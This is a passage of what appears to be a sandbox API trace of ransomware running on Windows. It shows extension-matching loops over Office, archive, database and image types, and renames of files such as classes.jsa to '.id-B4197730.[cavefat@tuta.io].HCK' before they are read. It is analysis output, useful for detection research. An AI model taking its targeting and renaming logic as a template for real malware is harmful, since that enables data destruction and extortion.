(lpString=".ppt") returned 4 [0165.473] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.473] lstrlenW (lpString=".zip") returned 4 [0165.473] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.473] lstrlenW (lpString=".rar") returned 4 [0165.473] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.473] lstrlenW (lpString=".bz2") returned 4 [0165.474] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.474] lstrlenW (lpString=".7z") returned 3 [0165.474] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString=".dbf") returned 4 [0165.474] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString=".1cd") returned 4 [0165.474] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString=".jpg") returned 4 [0165.474] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString=".doc") returned 4 [0165.474] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.474] lstrlenW (lpString=".docx") returned 5 [0165.474] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0165.474] lstrlenW (lpString=".pdf") returned 4 [0165.474] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.474] lstrlenW (lpString=".xls") returned 4 [0165.474] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.474] lstrlenW (lpString=".xlsx") returned 5 [0165.474] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0165.474] lstrlenW (lpString=".ppt") returned 4 [0165.474] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString=".zip") returned 4 [0165.474] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.474] lstrlenW (lpString=".rar") returned 4 [0165.474] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.474] lstrlenW (lpString=".bz2") returned 4 [0165.474] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.474] lstrlenW (lpString=".7z") returned 3 [0165.474] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString=".dbf") returned 4 [0165.474] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString=".1cd") returned 4 [0165.474] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.474] lstrlenW (lpString=".jpg") returned 4 [0165.474] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.474] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.474] lstrlenW (lpString="TabTip.exe.mui") returned 14 [0165.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.484] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2560) returned 1 [0165.484] CloseHandle (hObject=0x308) returned 1 [0165.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0165.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.488] lstrlenW (lpString=".doc") returned 4 [0165.488] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.488] lstrlenW (lpString=".docx") returned 5 [0165.489] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0165.489] lstrlenW (lpString=".pdf") returned 4 [0165.489] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString=".xls") returned 4 [0165.489] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString=".xlsx") returned 5 [0165.489] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0165.489] lstrlenW (lpString=".ppt") returned 4 [0165.489] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.489] lstrlenW (lpString=".zip") returned 4 [0165.489] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString=".rar") returned 4 [0165.489] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString=".bz2") returned 4 [0165.489] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.489] lstrlenW (lpString=".7z") returned 3 [0165.489] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.489] lstrlenW (lpString=".dbf") returned 4 [0165.489] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.489] lstrlenW (lpString=".1cd") returned 4 [0165.489] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.489] lstrlenW (lpString=".jpg") returned 4 [0165.489] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.489] lstrlenW (lpString=".doc") returned 4 [0165.489] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.489] lstrlenW (lpString=".docx") returned 5 [0165.489] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0165.489] lstrlenW (lpString=".pdf") returned 4 [0165.489] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString=".xls") returned 4 [0165.489] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString=".xlsx") returned 5 [0165.489] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0165.489] lstrlenW (lpString=".ppt") returned 4 [0165.489] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.489] lstrlenW (lpString=".zip") returned 4 [0165.489] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString=".rar") returned 4 [0165.489] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.489] lstrlenW (lpString=".bz2") returned 4 [0165.489] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.489] lstrlenW (lpString=".7z") returned 3 [0165.489] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.489] lstrlenW (lpString=".dbf") returned 4 [0165.489] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.490] lstrlenW (lpString=".1cd") returned 4 [0165.490] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71 [0165.490] lstrlenW (lpString=".jpg") returned 4 [0165.490] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.490] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.490] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.501] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=9728) returned 1 [0165.501] CloseHandle (hObject=0x390) returned 1 [0165.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0165.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.519] lstrlenW (lpString=".doc") returned 4 [0165.519] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.519] lstrlenW (lpString=".docx") returned 5 [0165.519] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.519] lstrlenW (lpString=".pdf") returned 4 [0165.519] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.519] lstrlenW (lpString=".xls") returned 4 [0165.519] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.519] lstrlenW (lpString=".xlsx") returned 5 [0165.519] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.519] lstrlenW (lpString=".ppt") returned 4 [0165.519] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".zip") returned 4 [0165.520] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.520] lstrlenW (lpString=".rar") returned 4 [0165.520] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.520] lstrlenW (lpString=".bz2") returned 4 [0165.520] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.520] lstrlenW (lpString=".7z") returned 3 [0165.520] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".dbf") returned 4 [0165.520] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".1cd") returned 4 [0165.520] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".jpg") returned 4 [0165.520] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".doc") returned 4 [0165.520] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.520] lstrlenW (lpString=".docx") returned 5 [0165.520] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.520] lstrlenW (lpString=".pdf") returned 4 [0165.520] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.520] lstrlenW (lpString=".xls") returned 4 [0165.520] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.520] lstrlenW (lpString=".xlsx") returned 5 [0165.520] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.520] lstrlenW (lpString=".ppt") returned 4 [0165.520] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".zip") returned 4 [0165.520] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.520] lstrlenW (lpString=".rar") returned 4 [0165.520] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.520] lstrlenW (lpString=".bz2") returned 4 [0165.520] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.520] lstrlenW (lpString=".7z") returned 3 [0165.520] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".dbf") returned 4 [0165.520] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".1cd") returned 4 [0165.520] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0165.520] lstrlenW (lpString=".jpg") returned 4 [0165.520] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.521] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.521] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.531] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10752) returned 1 [0165.531] CloseHandle (hObject=0x2e8) returned 1 [0165.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0165.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.560] lstrlenW (lpString=".doc") returned 4 [0165.560] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.560] lstrlenW (lpString=".docx") returned 5 [0165.560] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.560] lstrlenW (lpString=".pdf") returned 4 [0165.560] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.560] lstrlenW (lpString=".xls") returned 4 [0165.560] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.560] lstrlenW (lpString=".xlsx") returned 5 [0165.560] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.560] lstrlenW (lpString=".ppt") returned 4 [0165.560] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.560] lstrlenW (lpString=".zip") returned 4 [0165.560] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.560] lstrlenW (lpString=".rar") returned 4 [0165.560] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.560] lstrlenW (lpString=".bz2") returned 4 [0165.560] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.560] lstrlenW (lpString=".7z") returned 3 [0165.560] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.560] lstrlenW (lpString=".dbf") returned 4 [0165.560] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.560] lstrlenW (lpString=".1cd") returned 4 [0165.560] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.560] lstrlenW (lpString=".jpg") returned 4 [0165.560] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.560] lstrlenW (lpString=".doc") returned 4 [0165.560] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.560] lstrlenW (lpString=".docx") returned 5 [0165.560] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.560] lstrlenW (lpString=".pdf") returned 4 [0165.560] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.560] lstrlenW (lpString=".xls") returned 4 [0165.560] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.560] lstrlenW (lpString=".xlsx") returned 5 [0165.560] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.560] lstrlenW (lpString=".ppt") returned 4 [0165.560] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.561] lstrlenW (lpString=".zip") returned 4 [0165.561] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.561] lstrlenW (lpString=".rar") returned 4 [0165.561] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.561] lstrlenW (lpString=".bz2") returned 4 [0165.561] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.561] lstrlenW (lpString=".7z") returned 3 [0165.561] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.561] lstrlenW (lpString=".dbf") returned 4 [0165.561] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.561] lstrlenW (lpString=".1cd") returned 4 [0165.561] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0165.561] lstrlenW (lpString=".jpg") returned 4 [0165.561] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.561] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.561] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.572] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10240) returned 1 [0165.572] CloseHandle (hObject=0x354) returned 1 [0165.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0165.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0165.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0165.606] lstrlenW (lpString=".doc") returned 4 [0165.606] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.606] lstrlenW (lpString=".docx") returned 5 [0165.606] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.606] lstrlenW (lpString=".pdf") returned 4 [0165.606] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.606] lstrlenW (lpString=".xls") returned 4 [0165.606] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.606] lstrlenW (lpString=".xlsx") returned 5 [0165.606] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.606] lstrlenW (lpString=".ppt") returned 4 [0165.606] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0165.606] lstrlenW (lpString=".zip") returned 4 [0165.606] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.606] lstrlenW (lpString=".rar") returned 4 [0165.606] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.606] lstrlenW (lpString=".bz2") returned 4 [0165.606] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.606] lstrlenW (lpString=".7z") returned 3 [0165.607] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0165.607] lstrlenW (lpString=".dbf") returned 4 [0165.607] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0177.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0177.611] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0177.612] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1 [0177.612] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0177.612] ReadFile (in: hFile=0x2d0, lpBuffer=0x35e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x35e8058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0177.615] SetFilePointerEx (in: 